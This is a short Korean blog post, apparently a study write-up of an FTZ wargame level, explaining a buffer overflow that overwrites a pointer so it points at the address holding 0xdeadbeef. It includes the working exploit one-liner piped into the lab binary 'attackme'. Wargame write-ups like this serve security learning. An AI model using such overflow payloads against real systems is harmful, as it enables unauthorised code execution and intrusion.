간단한 오버플로우지만 여기서 주의깊게 봐야할 점은 *check 포인터다.
check 변수는 값대신 주소가 저장되어 있으므로 해당 주소로 가서 값을 불러온다.
그렇기 때문에 check 포인터에는 0xdeadbeef 값이 들어있는 주소값을 덮어주어야한다.
(python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat) | ./attackme
x/20x main 보면 deadbeef 값이 0x80484b2 에 있는걸 확인했고 위와 같이 공격하였다.
'Pwnable > ▷ Study' 카테고리의 다른 글
ftz level17 (1) | 2018.02.17 |
---|---|
ftz level16 (0) | 2018.02.17 |
ftz level14 (0) | 2018.02.17 |
ftz level13 (0) | 2018.02.17 |
ftz level12 (0) | 2018.02.17 |